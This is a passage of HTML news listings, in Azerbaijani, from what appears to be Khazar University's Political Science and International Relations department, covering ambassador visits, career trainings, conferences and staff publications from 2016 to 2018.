departamentinin direktoru Sahilə Mustafayeva iştirak edirdilər.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2998\">bura&nbsp;klikləyin</a>.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Siyasi Elm və Beynəlxalq Münasibətlər Departamentinin Koordinatoru Romada Konfransda iştirak etdi</strong></p><p style=\"text-align:justify\"><strong>24 yanvar 2018</strong></p><p style=\"text-align:justify\"><strong></strong><strong><span style=\"color:#212121;font-weight:400;white-space:pre-wrap;background-color:#ffffff\">24 yanvar 2018-ci il tarixdə Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin koordinatoru Elmar Mustafayev \"İtaliyada Azərbaycanla bağlı </span><span style=\"background-color:#ffffff;color:#212121;font-weight:400;white-space:pre-wrap\">tədqiqat: mövzular və perspektivlər\" mövzusunda akademik konfransda iştirak etmişdir. Tədbir Roma Sapienza Fondu və eyni universitetin Rabitə və Sosial Araşdırmalar Departamenti tərəfindən təşkil olunmuşdur. </span></strong><strong><span style=\"background-color:#ffffff;color:#212121;font-weight:400;white-space:pre-wrap\">Tədbirdə İtaliyada Azərbaycanla bağlı araşdırma aparan tədqiqatçılar da iştirak ediblər. </span></strong></p><p style=\"text-align:justify\"><strong><span style=\"background-color:#ffffff;color:#212121;font-weight:400;white-space:pre-wrap\">Konfrans KİV-də qeyd olunub.</span></strong></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;color:#252525;background-color:#ffffff;text-align:justify\"><a href=\"https://news.az/articles/politics/128566\" style=\"box-sizing:border-box;color:#337ab7;text-decoration-line:none;text-align:justify\">https://news.az/articles/politics/128566</a></p><p style=\"text-align:justify\"><a href=\"https://news.az/articles/politics/128566\"></a><a href=\"https://azertag.az/xeber/1131433\">https://azertag.az/xeber/1131433</a></p><p style=\"text-align:justify\"><a href=\"https://azertag.az/xeber/1131433\"></a><a href=\"https://video.azertag.az/video/60178\">https://video.azertag.az/video/60178</a></p>  <p style=\"text-align:justify\"><strong><span style=\"background-color:#ffffff;color:#212121;font-weight:400;white-space:pre-wrap\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2869\">bura klikləyin</a></span></strong></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>\"Azərbaycan Müəllimi\" qəzati Xəzər universitetinin müəllimi haqqında yazdı</strong></p><p style=\"text-align:justify\">19 yanvar 2018</p><p style=\"text-align:justify\"><strong><span style=\"background-color:#ffffff;color:#212121;font-weight:400;white-space:pre-wrap\"><a href=\"http://www.khazar.org/az/news/article/2869\"></a></span></strong>19 yanvar 2018-ci ildə \"Azərbaycan Müəllimi\" &nbsp;\"Dövlət Proqramının iştirakçıları harada işləyir?\" layihəsi çərçivəsində&nbsp;məqalə dərc edib. Məqalədə dövlət proqramı çərçivəsində İtaliya La Sapienza Universitetini bitirən Elmar Mustafayev haqqında məlumatlar yer alıb. Hal-hazırda Elmar Mustafayev Xəzər Universitetinin Siyasi Elm&nbsp;və Beynəlxalq Münasibətlər departamentininmüəllim və koordinatorudur. Məqalələr seriyası 2007-2015-ci illərdə Azərbaycan gənclərinin xarici ölkələrdə təhsili üzrə Dövlət Proqramı çərçivəsində xaricdə təhsil alanlara həsr olunmuşdur.</p><p style=\"text-align:justify\">Ətraflı məlumat üçün <a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02-2018&amp;content_id=03\">bura klikləyin</a>.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02-2018&amp;content_id=03\"></a><strong>“C</strong><strong>aucasus International” jurnalının təqdimatı oldu</strong></p><p style=\"text-align:justify\"><strong>24 noyabr 2017</strong></p><p style=\"text-align:justify\">24 noyabr 2017-ci tarixdə&nbsp;Azərbaycan Respublikasının Prezidenti yanında Strateji Araşdırmalar Mərkəzi (SAM) tərəfindən Xəzər Universiteti Siyasi Elm və Beynəlxalq Münasibətlərlər departamenti  nin müəllim və tələbələri üçün “Caucasus İnternational” jurnalının təqdimatı keçirildi. Təqdimatı SAM-ın Xarici siyasət məsələlərinin təhlili şöbəsinin elmi işçisi və “Caucasus International” jurnalının redaktor müavini İlqar Qurbanov və SAM-ın Media üzrə mütəxəssisi Şəbnəm Məhərrəmova keçirdilər.<span style=\"text-align:justify\"></span></p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2671\">bura klikləyin</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Fələstin Səfiri Xəzər Universitetində Mühazirə ilə Çıxış Etdi</strong></p><p style=\"text-align:justify\"><strong>17 noyabr 2017</strong></p><p style=\"text-align:justify\">2017-ci il noyabrın 17-də Xəzər Universiteti Beynəlxalq Təhsil həftəsi (13-17 noyabr) çərçivəsində Beynəlxalq Əlaqələr Şöbəsi və Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin birgə təşkilatçılığı ilə Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Nasser Abdel Karem Xəzər Universitetinin qonağı oldu.Xəzər Universitetinin rektoru Dr.&nbsp;Hassan Niknafs Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Nasser Abdel Karemi qəbul etdi. Görüşdə əsasən Fələstinin Azərbaycandakı səfirliyi və Xəzər Universiteti arasında olan əməkdaşlıq müzakirə olundu. Görüşdə həmçinin Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova, Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin koordinatoru Elmar Mustafayev və Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli səfirinin köməkçisi iştirak edirdilər.Daha sonra Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Nasser Abdel Karem Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin tələbələri üçün “Fələstin üzrə icmal” mövzusunda mühazirə keçirdi. Mühazirədə Azərbaycan və Fələstin arasında ikitərəfli münasibətlər və Yaxın Şərqdə olan vəziyyət haqqında tələbələrə ətraflı məlumat verildi. Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin koordinatoru Elmar Mustafayevin moderatorluğu ilə keçirilən müzakirə sual-cavab sessiyası ilə başa çatdı. Görüşdə Beynəlxalq Əlaqələr Şöbəsinin assistenti Elxan Kasimov da iştirak edirdi. Səfir Nasser Abdel Karem dəvətə görə Xəzər Universiteti rəhbərliyinə öz minnətdarlığını bildirdi.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2648\">bura klikləyin.&nbsp;</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Siyasi elm və Beynəlxalq Münasibətlər departamentinin tələbələri üçün “İş axtarmaq qaydaları” mövzusunda təlim keçirildi</strong></p> <p style=\"text-align:justify\"><strong><a href=\"http://bura klikləyin.\"></a>22 may 2017</strong></p><p style=\"text-align:justify\">22 may 2017-ci il tarixdə Xəzər Universiteti Siyasi elm və Beynəlxalq Münasibətlər departamentinin tələbələri üçün&nbsp;“İş axtarmaq qaydaları” mövzusunda təlim keçirildi. Təlim Xəzər Universitetinin müəllimi və İnformasiya Sistemləri Şöbəsinin əməkdaşı Rəşad Xalıqov tərəfindən aparıldı. İş təcrübəsi olmayan tələbələrə bu yolda yardımçı olmaq üçün yaratdığı&nbsp;&nbsp;<a href=\"http://stajer.az/\">stajer.az/</a>&nbsp;platformasından danışan Rəşad Xalıqov, daha sonra işə müraciət zamanı tələbələrin riayət etməli olduqları qaydaları izah etdi.&nbsp;</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2211\">bura klikləyin</a>&nbsp;&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Rektor Hassan Niknafs Rumıniyanın Azərbaycandakı səfiri ilə görüşdü</strong></p><p style=\"text-align:justify\"><strong>26 aprel&nbsp; 2017</strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">26 aprel 2017-ci il tarixdə Xəzər Universitetinin&nbsp;rektoru Dr. Hassan Niknafs Rumıniyanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Dan İanku və Rumıniyanın Qadınlar və Kişilər Arasında Bərabər İmkanlar üzrə Milli Agentliyinin nümayəndəsi PhD Aurora Martin ilə görüşdü. Görüşdən sonra PhD Martin “Qlobalizasiya və insan alveri” mövzusunda məruzə ilə çıxış etdi. Təqdimat Siyasi Elm və Beynəlxalq Münasibətlər departamentinin təşkil etdiyi Jan Monne Avropa seminarlar silsiləsinin növbəti tədbiri idi.&nbsp;</span></p>\r\n<p style=\"text-align:justify\">  Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2099\">bura klikləyin</a>.<strong></strong></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525\"><strong>Rumıniyanın Azərbaycandakı səfiri Siyasi elm və Beynəlxalq Münasibətlər departamentinin qonağı oldu</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525\"><strong></strong></span><span style=\"background-color:#ffffff;color:#252525\"><strong>18 aprel 2017</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525\"></span><span style=\"background-color:#ffffff;color:#252525\">18 aprel 2017-ci il tarixdə Rumıniyanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Dan İanku Xəzər Universitetinin Siyasi Elm və Beynəlxalq Münasibətlərlər departamentində qonaq oldu. Səfir İanku cari ilin mayında təşkil olunması nəzərdə tutulan Rumıniya-Azərbaycan Təhsil Forumu ilə bağlı məlumat verdi. Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri,&nbsp;Jan Monne Kürsüsü mükafatı laureatı,&nbsp;Siyasi elmlər üzrə&nbsp;fəlsəfə doktoru Muxtar Hacızadə Xəzər Universitetinin dərəcə proqramları haqqında geniş&nbsp;məlumat verdi. O, həmçinin Rumıniya universitetlərinin tələbələrinin Xəzər Universiteti Təqaüd proqramı ilə bağlı məlumatlandırmasını da səfirdən xahiş etdi. Görüş iştirakçıları tərəfindən akademik mobillik&nbsp;və tələbə mübadiləsinin önəmi&nbsp; xüsusilə vurğulandı. Səfirliyin Diplomatik müşaviri Mihaela İanku və departamentin koordinatoru Elmar Mustafayev də görüşdə iştirak edirdilər.&nbsp;</span></p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2082\">bura klikləyin</a>.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>“GR8” şirkəti Xəzər Universitetinin tələbələri üçün təlim keçirdi</strong></p><p style=\"text-align:justify\"><strong>17 aprel 2017</strong></p><p style=\"text-align:justify\">17 aprel 2017-ci il tarixdə “GR8” şirkəti Xəzər Universiteti Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin tələbələri üçün peşəkar e-mail yazma qaydaları mövzusunda təlim keçirdi. Təlim “GR8” şirkətinin həmtəsisçisi və “Fairmont Baku” otelinin təlim meneceri Aygün Novruzova tərəfindən keçirildi. İnteraktiv şəkildə keçirilən təlimdə tələbələrə əsasən e-mail yazarkən əməl olunmalı qaydalar və ən çox rast gəlinən səhvlər izah edildi.Qeyd edək ki, sözügüdən təlim Xəzər Universiteti Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin təşkil etdiyi 10 həftəlik İşgüzarlıq və Peşəkar Bacarıqların İnkişafı üçün Təlim Proqramının tərkib hissəsi olaraq baş tutdu.&nbsp;</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2081\">bura klikləyin</a>.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/2081\"></a>“Fireworks” Şirkəti Xəzər Universitində təlim keçirdi</strong></p><p style=\"text-align:justify\"><strong>3 aprel 2017</strong></p><p style=\"text-align:justify\">3 aprel 2017-ci il tarixdə&nbsp;Xəzər Universitində “Fireworks” İnsan Resursları Şirkəti tərəfindən Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin tələbələri üçün peşəkar rezyume hazırlamağın və iş müsahibəsindən uğurla keçməyin yolları haqqında təlim keçirildi. Təlimdə tələbələrin CV-lərinə fərdi şəkildə rəy bildirən “Fireworks” əməkdaşları, həmçinin onlara iş müsahibəsi zamanı davranış qaydaları haqqında da məlumat verdilər.</p><p style=\"text-align:justify\">Qeyd edək ki, təlim 2017-ci il fevralın 27-dən etibarən departament tərəfindən davam etdirilən İşgüzarlıq və Peşəkar Bacarıqların inkişafı üçün Təlim Proqramının tərkib hissəsi olaraq baş tutmuşdur. Sözügedən təlim proqramının növbəti sessiyası ünsiyyət bacarıqları mövzusunda olacaq.&nbsp;</p>  <p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/2041\">bura klikləyin</a></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/2041\"></a><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Xəzər Universiteti Tələbələri üçün Deloitte Azerbaijan tərəfindən Excel Təlim</span></strong></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>6 Mart 2017</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">6 mart 2017-ci il tarixdə Xəzər Universitetinin Siyasi Elm və Beynəlxalq Münasibətlər Departamentinin tələbələri üçün xüsusi təlim proqramı təşkil edilmişdir. Təlim Deloitte Azərbaycan Audit Departamentinin mütəxəssisləri tərəfindən verilmişdir. Mövzulara Excel, Excel əsasları, statistik, maliyyə, məntiq və istinad ilə əlaqəli formullar daxil olmaqla tez-tez istifadə olunan vasitələr daxil edilmişdir. Təlim 10 həftəlik \"Peşəkarlıq və Şəxsi bacarıqlar\" tədris proqramı çərçivəsində həyata keçirildi. Bu xüsusi proqram tələbələrə CV yazma, iş müsahibəsinə hazırlanma, təqdimat bacarığı, ünsiyyət bacarıqları, eləcə də effektiv elektron poçt ünsiyyəti kimi məsələlərdə kömək etmək üçün nəzərdə tutulmuşdur.</span></p><p style=\"text-align:justify\"><span style=\"color:#212121;text-align:left;white-space:pre-wrap;background-color:#ffffff\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1967\">bura klikləyin</a></span><strong></strong></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Xəzər Universitetində \"Peşakarlıq və Şəxsi bacarıqlar\" adlı Tədris Proqramı</p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>27 fevral 2017</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">27 fevral 2017-ci il tarixdə Xəzər Universitetinin Siyasi Elm və Beynəlxalq Münasibətlər Departamenti \"Peşəkarlıq və Şəxsi bacarıqlar\" adlı tədris proqramını start verdi. Bu xüsusi proqram tələbələrə CV yazma, iş müsahibəsi hazırlama, təqdimat, ünsiyyət və ünsiyyət bacarıqlarını aşılamaq</span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"> üçün nəzərdə tutulmuşdur. Təlimin həmçinin tələbələrə PowerPoint təqdimatı, Excel əsasları, effektiv elektron poçt rabitəsi və əhatə məktubunun yazılması da daxil olmaqla bacarıqlarını inkişaf etdirməyə kömək etməkdir. Proqram \"Deloitte Azerbaijan\" ın insan resurslarının idarə edilməsi bölməsinin mütəxəssisləri tərəfindən bir seminar ilə başladı. On həftəlik proqram həmçinin GR8 Club, Fireworks Human Resource Management və Xəzər Universitetinin Karyera İnkişafı Mərkəzi mütəxəssisləri tərəfindən də aparılacaq.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span>Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1939\">bura klikləyin.</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/1939\"></a>Təhsil Nazirliyinin Beynəlxalq əməkdaşlıq şöbəsinin nümayəndələri ilə görüş keçirilmişdir</strong></p><p style=\"text-align:justify\"><strong>16 fevral 2017</strong></p><p style=\"text-align:justify\"><strong></strong>16 fevral 2017-ci il tarixdə Xəzər Universitetində Azərbaycan Respublikasının&nbsp;Təhsil Nazirliyi Beynəlxalq əməkdaşlıq şöbəsinin nümayəndələri ilə görüş keçirilmişdir. Görüşdə nazirliyin Beynəlxalq əməkdaşlıq şöbəsinin müdir müavini İlqarYusubov və böyük məsləhətçisi Müjdət Həsənov, universitetin rektoru Hassan Niknafs, Tədris işləri üzrə prorektor Məhəmməd Nuriyev, Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin   müdiri Muxtar Hacızadə və Beynəlxalq Ofisin direktoru&nbsp;Turan Cəfərova iştirak etmişlər.</p><p style=\"text-align:justify\">Görüş zamanı qonaqlara Xəzər Universitetinin beynəlxalq əməkdaşlığı barədə geniş məlumat verilmişdir. Xarici tələbələr üçün nostrifikasiya prosedurunun daha da asanlaşdırılması, universitet haqqında məlumatların ingilis dili ilə yanaşı digər xarici dillərdə də yayılması, xarici tələbələrin qəbulunun onlayn platforma üzərindən aparılması haqqında müzakirələr aparılmışdır.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1897#\">bura klikləyin.</a></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525\"><br></span></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/1897#\"></a><span style=\"background-color:#ffffff;color:#252525\">“Xaricdə Təhsil üzrə Dövlət Proqramı”nın məzunları ilə görüş keçirildi</span></strong></p><p style=\"text-align:justify\"><strong><span style=\"background-color:#ffffff;color:#252525\"></span>17 dekabr 2016</strong></p><p style=\"text-align:justify\"><strong></strong>17 dekabr 2016-cı il tarixdə A<span style=\"background-color:#ffffff;color:#252525\">DA Universitetində “2007-2015-ci illərdə Azərbaycan Gənclərinin Xaricdə Təhsili üzrə Dövlət Proqramı” məzunlarının akademik fəaliyyətə cəlb olunması ilə bağlı forum keçirildi. Tədbirdə Təhsil naziri Mikayıl Cabbarov, Dövlət Neft Fondunun icraçı direktoru Şahmar Mövsümov, AMEA-nın prezidenti Akif Əlizadə, ADA Universitetinin rektoru Hafiz Paşayev, eləcə də, digər ali təhsil müəssisələrinin rəhbərləri, xaricdə təhsil almış magistr və doktorant məzunlar iştirak edirdilər.</span>Xəzər Universitetinin Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin   müdiri, fəlsəfə doktoru Muxtar Hacızadə də Dövlət Proqramının məzunu kimi çıxış etdi. O, öz çıxışında hazırkı çətinliklər fonunda Azərbaycan iqtisadiyyatı üçün tədbirin önəmini xüsusi qeyd etmişdir.</p><p style=\"text-align:justify\"><a href=\"http://edu.gov.az/az/page/9/13402\" style=\"box-sizing:border-box;color:#337ab7;text-decoration-line:none\">http://edu.gov.az/az/page/9/13402</a>.&nbsp;</p><p style=\"text-align:justify\"><a href=\"http://news.lent.az/news/262937\">http://news.lent.az/news/262937</a>.&nbsp; &nbsp;</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1761\">bura klikləyin.</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/1761\"></a>Xəzər Universitetinin rektoru 1-ci il tələbələri ilə görüşdü&nbsp;</strong></p><p style=\"text-align:justify\"><strong>15 dekabr 2016</strong></p><p style=\"text-align:justify\">15 dekabr 2016-cı il tarixdə Xəzər Universitetinin rektoru Dr. Hassan Niknafs 1-ci il tələbələri ilə görüşdü. Görüşdə Humanitar və sosial elmlər fakültəsinin dekanı Dr. Cabir Xəlilov, Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin   koordinatoru Elmar Mustafayev və Humanitar və sosial elmlər fakültəsində dekan köməkçisi Paşa Aydayev iştirak edirdilər.&nbsp;Dr. Hassan Niknafs tələbələrə universitetdə təhsil alacaqları 4 il ərzində yaradılacaq şərait və imkanlardan danışdı, təhsillərini uğurla davam etdirmələri üçün onlara tövsiyələrini bildirdi.&nbsp;Sonda tələbələrin sualları cavablandırıldı.&nbsp;</p><p style=\"text-align:justify\"> Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1733http://www.khazar.org/az/news/article/1733\">bura klikləyin</a>.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Uğurlu “start-up” qurulması ilə bağlı görüş keçirildi&nbsp;</strong></p><p style=\"text-align:justify\"><strong>1 noyabr 2016</strong></p><p style=\"text-align:justify\">1 noyabr 2016-cı il tarixdə İsraildən olan “start-up” mütəxəssisi cənab Tal Catran Xəzər Universitetində oldu və universitetin heyəti ilə görüşüb İsarailin “start-up” təcrübəsini bölüşdü. O, İsrailin bu sahədə uğurlar qazanmasının əsas səbəblərinə toxundu və uğurlu “start-up” qurmağın yolları haqqında fikirlərini bölüşdü.Qonağa Xəzər Universitetinin Texnoparkı və digər innovativ ideyalar barəsində məlumat verildi. Görüşdə Xəzər Universitetinin Siyasi Elm və Beynəlxalq Münasibətlərlər departamentinin   müdiri Dr. Muxtar Hacızadə, İnkişaf Mərkəzinin Direktoru Raziyə İsayeva, İqtisadiyyat və menecment fakültəsinin dekanı Dr. İnqilab Əhmədov, İqtisadiyyat və menecment departamentinin müdiri Dr. Ceyhun Məmmədov, Neft mühəndisliyi departamentinin müdiri Dr. Qəşəm Zeynalov, İsarail Aerokosmik Sənayesi Mərkəzindən xanım Lina Michaeli və İsarilin Bakıdakı səfirliyindən cənab Amir Rom iştirak edirdilər.&nbsp;</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1516\">bura klikləyin.</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/1516\"></a>Amerikan Universitetinin professoru ABŞ-da prezident seçkilərindən danışdı</strong></p><p style=\"text-align:justify\"><strong>24 oktyabr 2016</strong></p><p style=\"text-align:justify\"><strong></strong>24 oktaybr 2016-cı il tarixdə Xəzər Universitetinin Siyasi elmlər və beynəlxalq əlaqələr departamentinin təşkilatçılığı ilə keçirilən görüşdə Amerikan Universitetinin siyasi elmlər üzrə tanınmış professorlarından biri Dr. James Thurber ABŞ-da qarşıdan gələn prezident seçkilərini müzakirə etdi. Dr. Thurber ABŞ-da baş verən siyasi proseslər, o cümlədən, namizədlərin seçilməsi, siyasi konvensiyalar və seçki sistemi haqqında ümumi məlumat verdi. O, həmçinin Hillary Clinton və Donald Trump-ın namizədliyi ilə nəticələnən ölkədaxili vacib siyasi məsələlərə də toxundu. Dr. Thurber qeyd etdi ki, yüksək seçki qurumunun (<em>The Electoral College</em>) nəticələrinə görə Hillary Clinton-un seçilmə ehtimalı daha böyükdür.Çıxışdan sonra o, tələbələrin bu seçkilərin ABŞ-ın Şimali Amerika Azad Ticarət Assosasiyası və Avropa ölkələri ilə münasibətlərinə, insan haqlarına və beynəlxalq ticarətə necə təsir edəcəyi barəsində suallarını cavablandırdı. Daha sonra Dr. Thurber Xəzər Universiteti Siyasi elmlər və beynəlxalq əlaqələr departamentinin rəhbəri Dr. Muxtar Hacızadə ilə görüşdü və ona hədiyyə olaraq öz kitabını verdi.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1469\">bura klikləyin.</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/1469\"></a>Xəzər Universitetinin&nbsp;əməkdaşının məqaləsi Almaniyada çap olundu</strong></p><p style=\"text-align:justify\"><strong>10 iyun 2016</strong></p><p style=\"text-align:justify\"><strong></strong>10 iyun 2016-cı il tarixdə&nbsp;Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müəllimi və doktorantı Elsevər Məmmədovun məqaləsi Almaniyanın “Nomos” nəşriyyatı tərəfindən&nbsp;<em>“Caucasus, the EU and Russia –Triangular Cooperation?”</em>&nbsp;kitabında nəşr edilmişdir. “Şərq Tərəfdaşlığı və digər proqramlar çərçivəsində Avtopa Birliyi (AB)-Azərbaycan əməkdaşlığı: Azərbaycanın xarici siyasət perspektivindən baxış” adlı məqaləsində&nbsp;Elsevər Məmmədov AB ilə münasibətləri, xüsusilə Avropa Qonşuluq Siyasəti və Şərq Tərəfdaşlığı çərçivəsində əməkdaşlığı Azərabaycanın xarici siyasət prizmasından təhlil etmişdir. Məqalədə AB ilə münasibətlər kontekstində Azərbaycanın xarici siyasət məqsədləri, eləcə də AB-nin bu proqramlar çərçivəsində Azərbaycandan gözləntiləri və Azərbaycanın həmin gözləntilərə baxışı tədqiq olunur.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1208\">bura klikləyin.</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/1208\"></a>Departament müdiri cəbhə bölgəsindəki məktəbləri ziyarət etdi</strong></p><p style=\"text-align:justify\"><strong>11-12 iyun 2016</strong></p><p style=\"text-align:justify\"><strong></strong>11-12 iyun 2016-cı il tarixlərdə&nbsp;Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, fəlsəfə doktoru Muxtar Hacızadə&nbsp;cəbhə bölgəsində yerləşən məktəblərdə oldu. Səfər zamanı M.Hacızadə Ermənistan-Azərbaycan qoşunların təmas xəttinə yaxın ərazilərdə yerləşən Ağdamın Quzanlı və Bərdənin Xəsilli kənd tam orta məktəblərində təhsil alan 9 və 10-cu sinif şagirdləri ilə görüşlər keçirdi. Görüşün məqsədi həmin məktəblərdə təhsil alan şagirdlərə ali təhsilin önəmini aşılamaq, seçilə biləcək spesifik ixtisaslar haqqında məlumat vermək, təhsil boyu vaxtın səmərəli istifadəsini təbliğ etmək, gələcəkdə təhsili xaricdə davam etdirmək haqqında həvəsləndirici söhbətlər aparmaq və mövcud təqaüd imkanları ilə bağlı məlumat vermək idi. Tədbirdən sonra şagirdlərə Xəzər Universitetinin hədiyyəsi olan müxtəlif dərs ləvazimatları hədiyyə olundu.Bu səfər Azərbaycan Respublikası Prezidenti yanında Gənclər Fondunun maliyyə dəstəyi ilə Azərbaycan Britaniya Məzunları Birliyi (AUKAA) tərəfindən həyata keçirilən “Təhsil üçün əl-ələ” layihəsi çərçivəsində baş tutmuşdur. Layihə çərçivəsində seçiləcək şagirdlər Xəzər Universiteti də daxil olmaqla, Bakıdakı beş ali təhsil müəssisəsinə tanışlıq məqsədilə baş tutacaq beş günlük yay düşərgəsinə dəvət olunacaqlar.</p><p style=\"text-align:justify\">Şəkillər üçün&nbsp; <a href=\"http://www.khazar.org/az/news/article/1206\">bura klikləyin.</a><strong></strong></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Jean Monnetin Cənub-Şərqi Asiya və Asiya-Sakit Okean Ərazilərində İnteqrasiya Prosesləri üzrə seminarı baş tutdu&nbsp;</strong></p><p style=\"text-align:justify\"><strong>20 may 2016</strong></p><p style=\"text-align:justify\">20 may 2016-cı il tarixdə Xəzər Universitetinin Siyasi Elm və Beynəlxalq Əlaqələr Departamenti Malayziyanın perspektivindən Cənub-şərq Asiya və Asiya Sakit Okeandakı inteqrasiya proseslərini müzakirə etmək üçün Malayziyanın Azərbaycandakı səfiri H.E. Roslan Abdul Rahmanı qəbul etmişdir. O, geniş qonşuluqda Malayziyanın xarici siyasətinə dair ətraflı məlumat verdi və tələbələrə həm Cənub-Şərqi Asiya ölkələri Assosiasiyasının (ASEAN), həm də Asiya-Sakit okean İqtisadi Əməkdaşlığının əməkdaşlığı barədə məlumat verdi. Seminardan sonra cənab Rəhman Xəzər Universitetinin prezidenti Dr.&nbsp;Həsən Niknafsla görüşdü.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/1133\">bura klikləyin.</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/1133\"></a>Departament müdirimiz Vatikanda keçirilən beynəlxalq konfransda çıxış etmişdir</strong></p><p style=\"text-align:justify\"><strong> 11-12 aprel 2016</strong></p><p style=\"text-align:justify\">Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, siyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadə aprelin 11-12-də Vatikanda “Ortaq Evimiz üçün qayğı: ABŞ və Vatikanın qlobal məsələlərdə iştirakı” mövzusunda keçirilmiş beynəlxalq konfransda iştirak etmişdir. Konfransda&nbsp;Vatikanda akkreditə olunmuş səfirlər, diplomatik korpus nümayəndələri, müxtəlif&nbsp;dini qrupların liderləri və&nbsp;beynəlxalq xəbər agentliklərinin təmsilçiləri iştirak etmişlər.&nbsp;Konfrans 2015-ci il mayın 24-də Papa Fransis tərəfindən dünyadakı Roma Katolik Kilsəsinin bütün yepiskoplarına göndərilmiş “Ortaq Evimiz üçün qayğı” haqqında ensiklika məktubundakı bəzi 